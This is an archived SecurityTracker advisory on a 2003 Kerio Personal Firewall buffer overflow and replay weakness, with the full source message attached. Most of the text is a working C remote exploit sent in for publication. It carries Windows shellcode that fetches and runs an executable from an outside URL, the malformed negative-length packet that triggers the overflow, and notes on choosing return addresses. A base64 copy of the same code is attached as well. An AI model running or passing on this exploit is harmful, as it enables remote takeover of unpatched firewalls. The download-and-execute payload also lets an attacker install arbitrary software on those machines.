SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Firewall)  >   Kerio Personal Firewall Vendors:   Kerio Technologies
(Exploit Code is Available) Re: Kerio Personal Firewall Administrative Key Exchange Buffer Overflow Allows Remote Users to Execute Arbitrary Code
SecurityTracker Alert ID:  1006708
SecurityTracker URL:  http://securitytracker.com/id/1006708
CVE Reference:   CVE-2003-0219, CVE-2003-0220   (Links to External Site)
Updated:  Mar 7 2004
Original Entry Date:  May 6 2003
Impact:   Execution of arbitrary code via network, Root access via network
Exploit Included:  Yes  
Version(s): 2.1.4 and prior versions
Description:   Two vulnerabilities were reported in the Kerio Personal Firewall. A remote user can execute arbitrary code on the target firewall. A remote user can also replay previous administrative session packets to cause previous administrative commands to be executed again.

Core Security Technologies reported that the firewall's remote administration interface does not protect against replay attacks. A remote user with the ability to monitor the network and capture valid administrative session packets can later replay the packets to cause the firewall to implement the same administrative commands again.

Core also reported a buffer overflow in the administrator authentication process. A remote user can execute arbitrary code on the target firewall. The vulnerability reportedly can be triggered by a remote user during the handshake to establish an encrypted administrative session. The software does not validate user-supplied data regarding the size of the packet containing the administrator's key, according to the report.

The vendor has reportedly been notified without response.

Burebista has provided some demonstration exploit code, available in the Source Message and at:

http://reversedhell.net/exploits/kerio.zip

Impact:   A remote user can execute arbitrary code on the target system.

A remote user can capture packets from an encrypted administrative session and replay those packets later to cause the same captured commands to be executed.

Solution:   No solution was available at the time of this entry. The author of the report indicates that you can disable the remote administration feature as a workaround.
Vendor URL:  www.kerio.com/us/kpf_home.html (Links to External Site)
Cause:   Authentication error, Boundary error
Underlying OS:  Windows (Any)

Message History:   This archive entry is a follow-up to the message listed below.
Apr 28 2003 Kerio Personal Firewall Administrative Key Exchange Buffer Overflow Allows Remote Users to Execute Arbitrary Code



 Source Message Contents

Subject:  Kerio Personal Firewall remote 'root'



         I downloaded version 2.1.4 from their website,
(www.kerio.com), and coded an exploit for it, working on Windows XP
with SP1 integrated.

         I attached here the exploit, and if you wish, it would be
great if you could publish it:
comment:
"Kerio Personal Firewall 2.1.4 and below remote code execution
exploit, by burebista. Works with latest version on Win XP + SP1".
(aanton[at]reversedhell.net) or whatever you find suitable.


         Best Regards and thakings,

                                         Alin-Adrian Anton.





/*

AUTHOR:	Burebista (aanton AT reversedhell.net)
HOMEPAGE: 	www.reversedhell.net
TITLE: Kerio Personal Firewall 2.1.4 on Windows XP with SP1 remote exploit
VERSION: 2.1.4 15 Apr 2002 - 12:18:26
	Exploit buffer looks something similar to this:
	
[NOP][OVERWRITTEN BY KERIO][NOP].........[NOP][SHELLCODE][NOP]....[ret][OVERWRITTEN BY KERIO][CALL]
                                         |                          |                          | |
                                         |                          ---------------------------- |
                                         ---------------------------------------------------------

	I would like to greet and thank Undertakr, Animadei, smfcs, the whole Undernet #cracking
channel, www.1plan.net for their webhosting, H.A.(ccc) (Madna Raria).
	I also thank gmistic, sham, north, and everybody else, you perfectly know who you are..
	
	Sorry for not using own shellcode, I don't know who wrote this one, but it's nice
because it works on all windows platforms, or at least most. If you wish, you can modify it
to restore the execution flow instead of exiting, this way the firewall will remain functional
and it's more sexy. The execution flow changes at 0x418672 at the ret instruction.
	
	In order to exploit, for ease of mind, set the firewall to permit all traffic, or allow
a connection to port 44334 from your testing unix shell ip.

NOTE: It is also possible to use UDP instead of TCP :-)
	
	Thanks to FreeBSD team for their nice OS.
	

	It works out very well, if not, hit a few times with a ret addr of 0x41414141 to make it crash 
AT THAT addr. Then use the original one, it will work. The one I used points to a 'call esp'
inside the RPCRT4.DLL.

*/




#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define PORT 44334 // the port client will be connecting to, default Kerio admin port 
#define retpos 5272	
#define MAXDATASIZE 5277 // max number of bytes we can get, also size of buffer

// global vars

struct sockaddr_in their_addr; // connector's address information 
char buf[MAXDATASIZE];
int numbytes;


unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xEB\x30\x5F\xFC\x8B\xF7\x80"
  
"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"
  
"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"
  
"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"
  
"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"
  
"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"
  
"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"
  
"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"
  
"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"
  
"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"
  
"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"
  
"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"
  
"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"
  
"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"
  
"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"
  
"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"
  
"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"
  
"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"
  
"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"
  
"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"
  
"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"
  
"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"
  
"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"
  
"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"
  
"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"
  
"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"
  
"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"
  
"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75"
  
"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2E\x64"
  
"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F"
  
"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F"
  
"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F"
  
"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50"
  
"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2E\x64\x6C\x6C\x08\x49"
  
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65"
  
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65"
  
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65"
  
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2E\x65\x78\x65\x08"
  "http://reversedhell.net/hackyou.exe"
  "\x08\x01"; // download + exec from the net ; donno who wrote this sc
  
  //change the url to whatever, this one pops up an innofensive message box

// end of global vars

int suck(int sock,int n) // painfull function to get rid of the painfull Kerio protocol
{
	int i=0,j=0,k,a=0,b=0,c=0,d=0;

	while (i<n)
	{

		if ((numbytes=recv(sock, buf, n, 0)) == -1) {
            	perror("recv");
            	exit(1);
	       }

        	if (j) i+=(numbytes-1); // ya i know i know :D
       
        	else i+=numbytes;

        	for (k=0;k<numbytes;k++) {
        					if (k % 10 == 0) fprintf(stderr,"\n");
        					if (buf[k]==0) fprintf(stderr,"    0 ");
        					else fprintf(stderr," %4.0d ",buf[k]);
        				     }	


        	fprintf(stderr,"    * ");
        	j++;
        	d=buf[numbytes];
        	c=buf[numbytes-1];
        	b=buf[numbytes-2];
        	a=buf[numbytes-3];
        	if ((i>200) && (a==0x1) && (b==0x0) && (c==0x1) && (d==0x0)) break;
        }
        fprintf(stderr,"\n");
        return i;
}


    int main(int argc, char *argv[])
    {
        int sockfd, i,j;  
        struct hostent *he;
 
        if (argc != 2) {
            fprintf(stderr,"usage: ./%s hostname\n",argv[0]);
            exit(1);
        }

        if ((he=gethostbyname(argv[1])) == NULL) {  // get the host info 
            perror("gethostbyname");
            exit(1);
        }

        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { // prepare a socket for connecting
            perror("socket");
            exit(1);
        }

        their_addr.sin_family = AF_INET;    // host byte order 
        their_addr.sin_port = htons(PORT);  // short, network byte order 
        their_addr.sin_addr = *((struct in_addr *)he->h_addr);
        memset(&(their_addr.sin_zero), '\0', 8);  // zero the rest of the struct 

        if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1) {
            perror("connect");
            exit(1);
        }
 
        
        fprintf(stderr,"shell len = %d\n",strlen(shellcode));
	 fprintf(stderr,"Connected to firewall.\n");
	 memset(buf,0x0,sizeof(buf));
	 fprintf(stderr,"Sucking buffer..\n");
        suck(sockfd,266);
        fprintf(stderr,"\nBuffer sucked by black hole..\n");
    	 memset(buf,0x0,sizeof(buf));
    	 fprintf(stderr,"-------------------------------------------------\n");
    	 fprintf(stderr,"                 - BANNER -   \n");
    	 fprintf(stderr,"-------------------------------------------------\n");
    	 sleep(1);
	 fprintf(stderr,"coded by Burebista (aanton@reversedhell.net)\n");
	 fprintf(stderr,"           released on - 5 Apr 2003 -\n");
	 
	 sleep(2);
    	 fprintf(stderr,"-------------------------------------------------\n");
	 memset(buf,0x90,MAXDATASIZE); // set nops all over
	 
	 // prepares call up to beginning of buffer 32 bit=5 bytes
	 buf[MAXDATASIZE-1]='\xff'; //
	 buf[MAXDATASIZE-2]='\xff'; // call -1150
	 buf[MAXDATASIZE-3]='\xee'; //
	 buf[MAXDATASIZE-4]='\xab'; //
	 buf[MAXDATASIZE-5]='\xe8'; //
	  						
	 j=0;

	 for (i=900;j<strlen(shellcode);i++) buf[i]=shellcode[j++]; // insert the shellcode in buf at 900
	 
	 // prepares the new return address (on XPSP1 it is CALL ESP in RPCRT4.DLL)
	
	 buf[retpos-1]='\x78';
	 buf[retpos-2]='\x07';
	 buf[retpos-3]='\x06';
	 buf[retpos-4]='\x90';
	 
	 // this prepares packet header with negative length 
	 
	 buf[0]=0;
	 buf[1]=0;
	 buf[2]=0x14;
	 buf[3]=0xffffff9c; // negative, -100. firewall will prepare buf of that size. signed integers hit again
	 
	/*
            The 4th byte in the packet is the size of what the firewall will be expecting to receive
        right ahead. If we send longer buffer then what we told the firewall to expect, it will be
        simply truncated and nothing cool will happen. The problem is Kerio never thought we could
        tell it something that stupid like we are going to send -100 bytes, it is like expecting a
        client to buy -20 books from your library, which is an absurdity. There is no checking to
        make sure the user input is valid. Again, invalid trusted user input. What they should have
        done is either to use the 4th byte inside a modulus, to make sure it is always positive,
        either lamingly check if it is negative, and if true, stop processing the inputted data.
                 	
            What's so funny?                   
	*/
	 
	 if ((send(sockfd, buf,sizeof(buf),0)) == -1 ) { // PASARAN! 
		perror("send");
		exit(1);
	 }
	 fprintf(stderr,"..pasaran...\n");
	 fprintf(stderr,":D Done!\n");
	 
        close(sockfd);
       }
       



--------------070608060600050905040108
Content-Type: application/octet-stream;
 name="kerio.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="kerio.c"

LyoNCg0KQVVUSE9SOglCdXJlYmlzdGEgKGFhbnRvbiBBVCByZXZlcnNlZGhlbGwubmV0KQ0K
SE9NRVBBR0U6IAl3d3cucmV2ZXJzZWRoZWxsLm5ldA0KVElUTEU6IEtlcmlvIFBlcnNvbmFs
IEZpcmV3YWxsIDIuMS40IG9uIFdpbmRvd3MgWFAgd2l0aCBTUDEgcmVtb3RlIGV4cGxvaXQN
ClZFUlNJT046IDIuMS40IDE1IEFwciAyMDAyIC0gMTI6MTg6MjYNCglFeHBsb2l0IGJ1ZmZl
ciBsb29rcyBzb21ldGhpbmcgc2ltaWxhciB0byB0aGlzOg0KCQ0KW05PUF1bT1ZFUldSSVRU
RU4gQlkgS0VSSU9dW05PUF0uLi4uLi4uLi5bTk9QXVtTSEVMTENPREVdW05PUF0uLi4uW3Jl
dF1bT1ZFUldSSVRURU4gQlkgS0VSSU9dW0NBTExdDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICAgICAg
ICAgICAgICAgICAgICAgICAgIHwgfA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgICAgICAtLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tIHwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tDQoNCglJIHdvdWxkIGxpa2UgdG8gZ3JlZXQgYW5kIHRoYW5rIFVuZGVydGFrciwg
QW5pbWFkZWksIHNtZmNzLCB0aGUgd2hvbGUgVW5kZXJuZXQgI2NyYWNraW5nDQpjaGFubmVs
LCB3d3cuMXBsYW4ubmV0IGZvciB0aGVpciB3ZWJob3N0aW5nLCBILkEuKGNjYykgKE1hZG5h
IFJhcmlhKS4NCglJIGFsc28gdGhhbmsgZ21pc3RpYywgc2hhbSwgbm9ydGgsIGFuZCBldmVy
eWJvZHkgZWxzZSwgeW91IHBlcmZlY3RseSBrbm93IHdobyB5b3UgYXJlLi4NCgkNCglTb3Jy
eSBmb3Igbm90IHVzaW5nIG93biBzaGVsbGNvZGUsIEkgZG9uJ3Qga25vdyB3aG8gd3JvdGUg
dGhpcyBvbmUsIGJ1dCBpdCdzIG5pY2UNCmJlY2F1c2UgaXQgd29ya3Mgb24gYWxsIHdpbmRv
d3MgcGxhdGZvcm1zLCBvciBhdCBsZWFzdCBtb3N0LiBJZiB5b3Ugd2lzaCwgeW91IGNhbiBt
b2RpZnkgaXQNCnRvIHJlc3RvcmUgdGhlIGV4ZWN1dGlvbiBmbG93IGluc3RlYWQgb2YgZXhp
dGluZywgdGhpcyB3YXkgdGhlIGZpcmV3YWxsIHdpbGwgcmVtYWluIGZ1bmN0aW9uYWwNCmFu
ZCBpdCdzIG1vcmUgc2V4eS4gVGhlIGV4ZWN1dGlvbiBmbG93IGNoYW5nZXMgYXQgMHg0MTg2
NzIgYXQgdGhlIHJldCBpbnN0cnVjdGlvbi4NCgkNCglJbiBvcmRlciB0byBleHBsb2l0LCBm
b3IgZWFzZSBvZiBtaW5kLCBzZXQgdGhlIGZpcmV3YWxsIHRvIHBlcm1pdCBhbGwgdHJhZmZp
Yywgb3IgYWxsb3cNCmEgY29ubmVjdGlvbiB0byBwb3J0IDQ0MzM0IGZyb20geW91ciB0ZXN0
aW5nIHVuaXggc2hlbGwgaXAuDQoNCk5PVEU6IEl0IGlzIGFsc28gcG9zc2libGUgdG8gdXNl
IFVEUCBpbnN0ZWFkIG9mIFRDUCA6LSkNCgkNCglUaGFua3MgdG8gRnJlZUJTRCB0ZWFtIGZv
ciB0aGVpciBuaWNlIE9TLg0KCQ0KDQoJSXQgd29ya3Mgb3V0IHZlcnkgd2VsbCwgaWYgbm90
LCBoaXQgYSBmZXcgdGltZXMgd2l0aCBhIHJldCBhZGRyIG9mIDB4NDE0MTQxNDEgdG8gbWFr
ZSBpdCBjcmFzaCANCkFUIFRIQVQgYWRkci4gVGhlbiB1c2UgdGhlIG9yaWdpbmFsIG9uZSwg
aXQgd2lsbCB3b3JrLiBUaGUgb25lIEkgdXNlZCBwb2ludHMgdG8gYSAnY2FsbCBlc3AnDQpp
bnNpZGUgdGhlIFJQQ1JUNC5ETEwuDQoNCiovDQoNCg0KDQoNCiNpbmNsdWRlIDxzdGRpby5o
Pg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUg
PGVycm5vLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNp
bmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQojaW5jbHVk
ZSA8c3lzL3NvY2tldC5oPg0KDQojZGVmaW5lIFBPUlQgNDQzMzQgLy8gdGhlIHBvcnQgY2xp
ZW50IHdpbGwgYmUgY29ubmVjdGluZyB0bywgZGVmYXVsdCBLZXJpbyBhZG1pbiBwb3J0IA0K
I2RlZmluZSByZXRwb3MgNTI3MgkNCiNkZWZpbmUgTUFYREFUQVNJWkUgNTI3NyAvLyBtYXgg
bnVtYmVyIG9mIGJ5dGVzIHdlIGNhbiBnZXQsIGFsc28gc2l6ZSBvZiBidWZmZXINCg0KLy8g
Z2xvYmFsIHZhcnMNCg0Kc3RydWN0IHNvY2thZGRyX2luIHRoZWlyX2FkZHI7IC8vIGNvbm5l
Y3RvcidzIGFkZHJlc3MgaW5mb3JtYXRpb24gDQpjaGFyIGJ1ZltNQVhEQVRBU0laRV07DQpp
bnQgbnVtYnl0ZXM7DQoNCg0KdW5zaWduZWQgY2hhciBzaGVsbGNvZGVbXSA9DQoiXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
XHg5MFx4OTBceDkwXHg5MFx4OTAiDQogIA0KIlx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkw
Ig0KICANCiJceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4
OTBceDkwXHg5MFx4OTBceDkwXHg5MFx4OTBceDkwXHg5MCINCiAgIlx4RUJceDMwXHg1Rlx4
RkNceDhCXHhGN1x4ODAiDQogIA0KIlx4M0ZceDA4XHg3NVx4MDNceDgwXHgzN1x4MDhceDQ3
XHg4MFx4M0ZceDAxXHg3NVx4RjJceDhCXHhFNlx4MzNceEQyXHhCMlx4MDRceEMxIg0KICAN
CiJceEUyXHgwOFx4MkJceEUyXHg4Qlx4RUNceDMzXHhEMlx4QjJceDAzXHhDMVx4RTJceDA4
XHgyQlx4RTJceDU0XHg1QVx4QjJceDdDXHg4QiINCiAgDQoiXHhFMlx4RUJceDAyXHhFQlx4
NTdceDg5XHg3NVx4RkNceDMzXHhDMFx4QjRceDQwXHhDMVx4RTBceDA4XHg4OVx4NDVceEY4
XHg4Qlx4NDAiDQogIA0KIlx4M0NceDAzXHg0NVx4RjhceDhEXHg0MFx4N0VceDhCXHg0MFx4
MDJceDAzXHg0NVx4RjhceDhCXHhGOFx4OEJceDdGXHgwQ1x4MDNceDdEIg0KICANCiJceEY4
XHg4MVx4M0ZceDRCXHg0NVx4NTJceDRFXHg3NFx4MDdceDgzXHhDMFx4MTRceDhCXHhGOFx4
RUJceEVCXHg1MFx4OEJceEY4XHgzMyINCiAgDQoiXHhDOVx4MzNceEMwXHhCMVx4MTBceDhC
XHgxN1x4MDNceDU1XHhGOFx4NTJceEVCXHgwM1x4NTdceDhCXHhEN1x4ODBceDdBXHgwM1x4
ODAiDQogIA0KIlx4NzRceDE2XHg4Qlx4MzJceDAzXHg3NVx4RjhceDgzXHhDNlx4MDJceEVC
XHgwMlx4RUJceDdFXHg4Qlx4N0RceEZDXHg1MVx4RjNceEE2Ig0KICANCiJceDU5XHg1Rlx4
NzRceDA2XHg0MFx4ODNceEM3XHgwNFx4RUJceERCXHg1Rlx4OEJceDdGXHgxMFx4MDNceDdE
XHhGOFx4QzFceEUwXHgwMiINCiAgDQoiXHgwM1x4RjhceDhCXHgwN1x4OEJceDVEXHhGQ1x4
OERceDVCXHgxMVx4NTNceEZGXHhEMFx4ODlceDQ1XHhGNFx4OEJceDQwXHgzQ1x4MDMiDQog
IA0KIlx4NDVceEY0XHg4Qlx4NzBceDc4XHgwM1x4NzVceEY0XHg4RFx4NzZceDFDXHhBRFx4
MDNceDQ1XHhGNFx4ODlceDQ1XHhGMFx4QURceDAzIg0KICANCiJceDQ1XHhGNFx4ODlceDQ1
XHhFQ1x4QURceDAzXHg0NVx4RjRceDg5XHg0NVx4RThceDhCXHg1NVx4RUNceDhCXHg3NVx4
RkNceDhEXHg3NiINCiAgDQoiXHgxRVx4MzNceERCXHgzM1x4QzlceEIxXHgwRlx4OEJceDNB
XHgwM1x4N0RceEY0XHg1Nlx4NTFceEYzXHhBNlx4NTlceDVFXHg3NFx4MDYiDQogIA0KIlx4
NDNceDhEXHg1Mlx4MDRceEVCXHhFRFx4RDFceEUzXHg4Qlx4NzVceEU4XHgwM1x4RjNceDMz
XHhDOVx4NjZceDhCXHgwRVx4RUJceDAyIg0KICANCiJceEVCXHg3RFx4QzFceEUxXHgwMlx4
MDNceDREXHhGMFx4OEJceDA5XHgwM1x4NERceEY0XHg4OVx4NERceEU0XHg4Qlx4NURceEZD
XHg4RCINCiAgDQoiXHg1Qlx4MkRceDMzXHhDOVx4QjFceDA3XHg4RFx4N0RceEUwXHg1M1x4
NTFceDUzXHg4Qlx4NTVceEY0XHg1Mlx4OEJceDQ1XHhFNFx4RkMiDQogIA0KIlx4RkZceEQw
XHg1OVx4NUJceEZEXHhBQlx4OERceDY0XHgyNFx4RjhceDM4XHgyQlx4NzRceDAzXHg0M1x4
RUJceEY5XHg0M1x4RTJceEUxIg0KICANCiJceDhCXHg0NVx4RTBceDUzXHhGQ1x4RkZceEQw
XHhGRFx4QUJceDMzXHhDOVx4QjFceDA0XHg4RFx4NUJceDBDXHhGQ1x4NTNceDUxXHg1MyIN
CiAgDQoiXHg4Qlx4NTVceEM0XHg1Mlx4OEJceDQ1XHhFNFx4RkZceEQwXHg1OVx4NUJceEZE
XHhBQlx4MzhceDJCXHg3NFx4MDNceDQzXHhFQlx4RjkiDQogIA0KIlx4NDNceEUyXHhFNVx4
RkNceDMzXHhEMlx4QjZceDFGXHhDMVx4RTJceDA4XHg1Mlx4MzNceEQyXHg1Mlx4OEJceDQ1
XHhENFx4RkZceEQwIg0KICANCiJceDg5XHg0NVx4QjBceDMzXHhEMlx4RUJceDAyXHhFQlx4
NzdceDUyXHg1Mlx4NTJceDUyXHg1M1x4OEJceDQ1XHhDMFx4RkZceEQwXHg4RCINCiAgDQoi
XHg1Qlx4MDNceDg5XHg0NVx4QUNceDMzXHhEMlx4NTJceEI2XHg4MFx4QzFceEUyXHgxMFx4
NTJceDMzXHhEMlx4NTJceDUyXHg4RFx4N0IiDQogIA0KIlx4MDlceDU3XHg1MFx4OEJceDQ1
XHhCQ1x4RkZceEQwXHg4OVx4NDVceEE4XHg4RFx4NTVceEEwXHg1Mlx4MzNceEQyXHhCNlx4
MUZceEMxIg0KICANCiJceEUyXHgwOFx4NTJceDhCXHg0RFx4QjBceDUxXHg1MFx4OEJceDQ1
XHhCOFx4RkZceEQwXHg4Qlx4NERceEE4XHg1MVx4OEJceDQ1XHhCNCINCiAgDQoiXHhGRlx4
RDBceDhCXHg0RFx4QUNceDUxXHg4Qlx4NDVceEI0XHhGRlx4RDBceDMzXHhEMlx4NTJceDUz
XHg4Qlx4NDVceERDXHhGRlx4RDAiDQogIA0KIlx4ODlceDQ1XHhBNFx4OEJceDdEXHhBMFx4
NTdceDhCXHg1NVx4QjBceDUyXHg1MFx4OEJceDQ1XHhEOFx4RkZceEQwXHg4Qlx4NTVceEE0
Ig0KICANCiJceDUyXHg4Qlx4NDVceEQwXHhGRlx4RDBceEVCXHgwMlx4RUJceDEyXHgzM1x4
RDJceDkwXHg1Mlx4NTNceDhCXHg0NVx4Q0NceEZGXHhEMCINCiAgDQoiXHgzM1x4RDJceDUy
XHg4Qlx4NDVceEM4XHhGRlx4RDBceEU4XHhFNlx4RkRceEZGXHhGRlx4NDdceDY1XHg3NFx4
NERceDZGXHg2NFx4NzUiDQogIA0KIlx4NkNceDY1XHg0OFx4NjFceDZFXHg2NFx4NkNceDY1
XHg0MVx4MDhceDZCXHg2NVx4NzJceDZFXHg2NVx4NkNceDMzXHgzMlx4MkVceDY0Ig0KICAN
CiJceDZDXHg2Q1x4MDhceDQ3XHg2NVx4NzRceDUwXHg3Mlx4NkZceDYzXHg0MVx4NjRceDY0
XHg3Mlx4NjVceDczXHg3M1x4MDhceDRDXHg2RiINCiAgDQoiXHg2MVx4NjRceDRDXHg2OVx4
NjJceDcyXHg2MVx4NzJceDc5XHg0MVx4MDhceDVGXHg2Q1x4NjNceDcyXHg2NVx4NjFceDc0
XHgwOFx4NUYiDQogIA0KIlx4NkNceDc3XHg3Mlx4NjlceDc0XHg2NVx4MDhceDQ3XHg2Q1x4
NkZceDYyXHg2MVx4NkNceDQxXHg2Q1x4NkNceDZGXHg2M1x4MDhceDVGIg0KICANCiJceDZD
XHg2M1x4NkNceDZGXHg3M1x4NjVceDA4XHg1N1x4NjlceDZFXHg0NVx4NzhceDY1XHg2M1x4
MDhceDQ1XHg3OFx4NjlceDc0XHg1MCINCiAgDQoiXHg3Mlx4NkZceDYzXHg2NVx4NzNceDcz
XHgwOFx4NzdceDY5XHg2RVx4NjlceDZFXHg2NVx4NzRceDJFXHg2NFx4NkNceDZDXHgwOFx4
NDkiDQogIA0KIlx4NkVceDc0XHg2NVx4NzJceDZFXHg2NVx4NzRceDRGXHg3MFx4NjVceDZF
XHg0MVx4MDhceDQ5XHg2RVx4NzRceDY1XHg3Mlx4NkVceDY1Ig0KICANCiJceDc0XHg0Rlx4
NzBceDY1XHg2RVx4NTVceDcyXHg2Q1x4NDFceDA4XHg0OVx4NkVceDc0XHg2NVx4NzJceDZF
XHg2NVx4NzRceDUyXHg2NSINCiAgDQoiXHg2MVx4NjRceDQ2XHg2OVx4NkNceDY1XHgwOFx4
NDlceDZFXHg3NFx4NjVceDcyXHg2RVx4NjVceDc0XHg0M1x4NkNceDZGXHg3M1x4NjUiDQog
IA0KIlx4NDhceDYxXHg2RVx4NjRceDZDXHg2NVx4MDhceDRFXHg1M1x4MDhceDZFXHg3M1x4
NzNceDYzXHgyRVx4NjVceDc4XHg2NVx4MDgiDQogICJodHRwOi8vcmV2ZXJzZWRoZWxsLm5l
dC9oYWNreW91LmV4ZSINCiAgIlx4MDhceDAxIjsgLy8gZG93bmxvYWQgKyBleGVjIGZyb20g
dGhlIG5ldCA7IGRvbm5vIHdobyB3cm90ZSB0aGlzIHNjDQogIA0KICAvL2NoYW5nZSB0aGUg
